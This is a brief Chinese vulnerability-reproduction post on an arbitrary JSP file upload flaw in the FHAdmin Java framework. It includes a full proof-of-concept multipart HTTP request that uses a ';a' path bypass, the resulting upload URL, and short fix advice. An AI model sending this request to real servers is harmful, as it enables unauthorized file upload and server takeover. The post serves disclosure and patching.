简介
FHAdmin于发布，由JAVA语言编写，是集成了代码生成、权限管理等基础功能的Java快速开发框架及平台，同时为适应技术的更新的迭代，也推出了更新框架和技术架构后的版本。
漏洞复现
任意文件上传
/;/plugins/uploadify/uploadFile.jsp?uploadPath=/plugins/uploadify/ 存在任意文件上传。
poc
POST //;a/plugins/uploadify/uploadFile.jsp?uploadPath=/plugins/uploadify/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/0215 K-Ninja/2.1.1Accept-Encoding: gzip, deflateAccept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8Connection: closeHost: xxxxUpgrade-Insecure-Requests: 1Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Referer: http://xxxx/fh_static_1/css/style.cssContent-Length: 175Content-Type: multipart/form-data; boundary=653e1298053b919b8c365d524e9c45b3--653e1298053b919b8c365d524e9c45b3Content-Disposition: form-data; name="imgFile"; filename="1.jsp"Content-Type: image/jpeghello--653e1298053b919b8c365d524e9c45b3--
使用BP检测
最后访问地址是
http://xxx//;a/plugins/uploadify/062512120567679.jsp
修复建议
限制访问 升级最新版本
